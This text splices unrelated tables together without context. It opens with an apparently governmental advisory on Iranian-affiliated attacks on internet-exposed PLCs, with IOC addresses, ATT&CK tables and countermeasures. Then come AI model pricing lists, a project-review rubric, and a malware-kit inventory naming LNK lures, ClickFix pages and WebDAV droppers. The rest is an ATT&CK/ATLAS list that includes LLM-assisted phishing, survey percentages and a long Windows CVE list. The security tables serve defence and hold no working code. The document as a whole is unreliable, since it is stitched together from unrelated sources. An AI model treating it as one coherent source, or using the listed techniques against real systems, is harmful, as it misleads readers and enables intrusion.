Executive Summary	The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.
Last Update Description	This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.
Affected Products	Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.
Key Actions	Install PLCs consistent with manufacturers' guidelines and security best practices. Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action. Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including `44818`, `2222`, `102`, and `502`, especially traffic originating from foreign hosting providers. For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.
Indicators of Compromise	For a downloadable copy of July 22, 2026 IOCs, see: AA26-097A STIX XML (July 2026) (29 KB) AA26-097A STIX JSON (July 2026) (30 KB) For a downloadable copy of historical April 7, 2026 IOCs, see: AA26-097A STIX XML (36 KB) AA26-097A STIX JSON (12 KB)
Intended Audience	Organizations: Critical Infrastructure Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer

Indicator	Beginning of Actor Association	End of Actor Association
185.82.73[.]175	September 2025	February 2026
141.11.164[.]153	January 2026	June 2026
175.110.121[.]42	February 2026	March 2026
175.110.121[.]39	February 2026	March 2026
175.110.121[.]41	February 2026	March 2026
175.110.121[.]107	February 2026	February 2026
192.142.54[.]79	May 2026	June 2026
84.200.205[.]165	May 2026	June 2026
185.225.17[.]225	June 2026	July 2026
79.133.46[.]209	July 2026	July 2026
88.80.150[.]199	July 2026	July 2026
88.80.150[.]200	July 2026	July 2026
88.80.150[.]202	July 2026	July 2026

Indicator	Beginning of Actor Association	End of Actor Association
185.82.73[.]162	January 2025	March 2026
185.82.73[.]164	January 2025	March 2026
185.82.73[.]165	January 2025	March 2026
185.82.73[.]167	January 2025	March 2026
185.82.73[.]168	January 2025	March 2026
185.82.73[.]170	January 2025	March 2026
185.82.73[.]171	January 2025	March 2026
135.136.1[.]133	March 2026	March 2026

Technique Title	ID	Use
Commonly Used Port	T0885	The actors leveraged commonly used OT ports to communicate with PLCs.
Remote Access Tools	T1219	The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port `22`.

Technique Title	ID	Use
Active Scanning: Scanning IP Blocks	T1595.001	Scan range of IP addresses
Active Scanning: Vulnerability Scanning	T1595.002	Scan victims for vulnerabilities that can be used during targeting

Technique Title	ID	Use
Acquire Infrastructure: Virtual Private Servers	T1583.003	Leverage VPS as infrastructure
Compromise Infrastructure: Network Devices	T1584.008	Compromise intermediate routers
Obtain Capabilities: Exploits	T1588.005	Use publicly available code to exploit vulnerable devices

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Exploit publicly known CVEs
Proxy	T1090	Use a connection proxy to direct network traffic

Technique Title	ID	Use
Data from Configuration Repository: SNMP (MIB Dump)	T1602.001	Target MIB to collect network information via SNMP
Data from Configuration Repository: Network Device Configuration Dump	T1602.002	Acquire credentials by collecting network device configurations

Technique Title	ID	Use
Proxy	T1090	Use VPS for C2
Application Layer Protocol	T1071	Open and expose a variety of different services, including TFTP and FTP

Countermeasure Title	ID	Description
Application Configuration Hardening	D3-ACH	Use SNMPv3 and disable SNMPv1 and SNMPv2. Use SNMP allowlisting to restrict access to OIDs and MIBs. Disable Cisco Smart Install.
Message Authentication	D3-MAN	Use SNMPv3 with strong authentication.
Message Encryption	D3-MENCR	Use SNMPv3 to encrypt payloads.
Credential Hardening	D3-CH	Use strong, unique passwords and store them securely.
Platform Monitoring	D3-PM	Monitor for unusual credentials. Monitor SNMP Set-Requests for OIDs targeting sensitive device data.
Network Traffic Filtering	D3-NTF	Use ACLs to only allow management protocols from management devices. Block TFTP, SMI, and SNMP at edge firewalls.
Network Vulnerability Assessment	D3-NVA	Use an attack surface management service.

Model	Max single-generation duration	Max resolution	Key constraints	Price per 10-second clip (720p)	Price per 10-second clip (1080p)	Price per 10-second clip (4K)
FLUX 3 Video	20 seconds	Not stated; evaluations run at 720p	Early access; no published SLA or pricing	Not announced	Not announced	Not announced
HappyHorse 1.1	15 seconds	1080p	No 4K; closed weights	Not published (v1.0 reseller rate is ~$1.82)	Not published (v1.0 reseller rate is ~$3.12)	n/a
Veo 3.1	Per-second billing	4K	Supports clip extension; preview	$4.00	$4.00	$6.00
Veo 3.1 Fast	Per-second billing	4K	Preview	$1.00	$1.20	$3.00
Veo 3.1 Lite	Per-second billing	1080p	No 4K, no clip extension; preview	$0.50	$0.80	n/a
Gemini Omni Flash	10 seconds (3s minimum)	720p at 24 FPS	Preview abd no EU access	$1.00	n/a	n/a

Model	Input ($/1M)	Output ($/1M)	Total ($/1M)	Source
MiMo-V2.5 Flash	$0.10	$0.30	$0.40	Xiaomi
deepseek-v4-flash	$0.14	$0.28	$0.42	DeepSeek
deepseek-v4-pro	$0.435	$0.87	$1.305	DeepSeek
MiniMax-M3	$0.30	$1.20	$1.50	MiniMax
LongCat-2.0 — limited-time promo	$0.30	$1.20	$1.50	LongCat
Gemini 3.1 Flash-Lite	$0.25	$1.50	$1.75	Google
Qwen3.7-Plus	$0.40	$1.60	$2.00	Alibaba Cloud
MiMo-V2.5	$0.40	$2.00	$2.40	Xiaomi
Gemini 3.5 Flash-Lite	$0.30	$2.50	$2.80	Google
LongCat-2.0 — standard	$0.75	$2.95	$3.70	LongCat
MiMo-V2.5 Pro (≤256K)	$1.00	$3.00	$4.00	Xiaomi
GLM-5.2	$1.40	$4.40	$5.80	Z.ai
GPT-5.6 Luna	$1.00	$6.00	$7.00	OpenAI
Grok 4.5	$2.00	$6.00	$8.00	xAI
MiMo-V2.5 Pro (>256K)	$2.00	$6.00	$8.00	Xiaomi
Gemini 3.6 Flash	$1.50	$7.50	$9.00	Google
Qwen3.7-Max	$2.50	$7.50	$10.00	Alibaba Cloud
Gemini 3.5 Flash	$1.50	$9.00	$10.50	Google
Gemini 3.1 Pro Preview (≤200K)	$2.00	$12.00	$14.00	Google
GPT-5.6 Terra	$2.50	$15.00	$17.50	OpenAI
GPT-5.4	$2.50	$15.00	$17.50	OpenAI
Kimi K3	$3.00	$15.00	$18.00	Moonshot AI
Gemini 3.1 Pro Preview (>200K)	$4.00	$18.00	$22.00	Google
Claude Opus 4.8	$5.00	$25.00	$30.00	Anthropic
GPT-5.5	$5.00	$30.00	$35.00	OpenAI
GPT-5.5 Instant (chat-latest)	$5.00	$30.00	$35.00	OpenAI
Sakana Fugu Ultra (≤272K)	$5.00	$30.00	$35.00	Sakana AI
GPT-5.6 Sol	$5.00	$30.00	$35.00	OpenAI
Claude Fable 5 / Claude Mythos 5	$10.00	$50.00	$60.00	Anthropic

Date	Revision	Summary
2026-07-14	1	Publication Date
2026-07-21	2	Initial CISA Republication of Siemens ProductCERT SSA-585531 advisory

Evaluation criterion	0	1	2
Horizon assigned (H1 / H2 / H3) and documented before funding
Success metric matched to the horizon, not a default quarterly ROI
Kill line set: Named milestone and date, agreed at funding
Owner named with explicit authority to stop the initiative
Fits a deliberate allocation band, not an accidental addition
Odds-raising path documented: Buy or partner and an integration plan

Review test	Status
Milestone for this horizon met or credibly on track	PASS / FAIL
Burn within plan to the next milestone	PASS / FAIL
Still fits the allocation band, with no quiet horizon drift	PASS / FAIL
Owner confirms continued strategic fit	PASS / FAIL

Category	Files	Functions and discoveries
LNK delivery launchers	453	Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths
Filename-spoofing QA	236	Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior
URL/LOLBin execution tests	146	Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution
Encrypted droppers	89	Staged second-stage payloads and installer-style packages
Alternative execution containers	24	search-ms, library-ms, .cpl, and related delivery containers
Payload stubs and spoofed executables	21	Smaller loaders, decoys, and renamed binaries
WebDAV scripts	17	Scripts intended to make WebDAV delivery more reliable on Windows systems
Builder and operator notes	10	README files, test reports, mappings, and generation scripts
ClickFix HTML lures	9	Browser-based social-engineering pages instructing users to run commands
Miscellaneous files	6	Included documentation for the actor’s WebDAV delivery/admin panel

CVE	Observed samples	Short description
CVE-2025-33053	11	Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)
CVE-2026-21513	4	MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)
CVE-2025-24054	1	Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)

Country	Requests	Share of requests	Unique client IPs	Launch events
Mexico	63,622	82.5%	2,698	2,365
United States	4,032	5.2%	463	47
Germany	2,751	3.6%	59	1
United Kingdom	645	0.8%	40	0
Netherlands	532	0.7%	49	1
France	407	0.5%	21	0
Finland	401	0.5%	6	10
Brazil	343	0.4%	41	0
Republic of Korea	312	0.4%	16	1

Method	Count
PROPFIND	57,287
GET	13,088
OPTIONS	6,597
PROPPATCH	125
LOCK	1

Name	MITRE ATT&CK technique	Code
Payload execution	User Execution: Malicious File	T1204.002
Masquerading	Right-to-Left Override	T1036.002
Masquerading	Double File Extension	T1036.007
DLL sideloading	Hijack Execution Flow: DLL	T1574.001
Obfuscation	Encrypted/Encoded File	T1027.013
Payload unpacking	Deobfuscate/Decode Files or Information	T1140
Payload carrier	Steganography / image-carried payload data	T1027.003
API hiding	Dynamic API Resolution	T1027.007
In-memory loading	Reflective Code Loading	T1620
Injection	Process Hollowing	T1055.012
Native API use	Native API	T1106
Sandbox evasion	Time Based Evasion	T1497.003
Anti-analysis	Debugger / instrumentation checks	T1622
UAC bypass	Bypass User Account Control	T1548.002
Persistence	Registry Run Keys / Startup Folder	T1547.001
Persistence	Scheduled Task	T1053.005
Collection	Keylogging	T1056.001
Collection	Screen Capture	T1113
Collection	Clipboard Data	T1115
Credential access	Credentials from Web Browsers	T1555.003
Credential access	Steal Web Session Cookie	T1539
Collection	Data from Local System	T1005
Collection	Automated Collection	T1119
Staging	Archive Collected Data: Archive via Utility	T1560.001
C2	Encrypted Channel	T1573
Exfiltration	Exfiltration Over C2 Channel	T1041
Possible persistence	WMI Event Subscription	T1546.003
Phishing lure generation	Generate Phishing Lures	AML.T0052
Resource Development	Resource Development	AML.TA0003
Obtain capabilities via LLM tooling	Obtain Capabilities	AML.T0016
LLM-assisted capability development	Develop Capabilities	AML.T0017
LLM prompt crafting for attack documentation	LLM Prompt Crafting	AML.T0065
Obtain capabilities via tooling	Obtain Capabilities: Software Tools	AML.T0016.001

37%	run at 26–50% utilization
34%	run at 10–25% utilization
15%	run under 10% utilization
12%	run over 50% — the efficient minority
8%	don’t measure utilization at all; a further 7% consume via API and run no GPUs of their own

44%	track compute cost and ROI rigorously
39%	track it only partially
20%	can’t quantify it yet
6%	say it isn’t a priority

31%	would rely on Dell (PowerScale / Project Lightning) — the leading single answer
16%	would rely on Nvidia (Dynamo / ICMSP)
18%	are not aware of this as a constraint (9%) or haven’t addressed inference-memory limits yet (8%)
10%	Hammerspace (Tier Zero); 9% DDN (Infinia); the rest split across open-source KV-cache tooling, model-level efficiency, VAST Data, and WEKA

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.6
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8

CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Exploitation Less Likely	No	4.5
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	9.3
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Exploitation Unlikely	No	3.3
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Exploitation More Likely	No	5.5
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	N/A	No	7.8
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8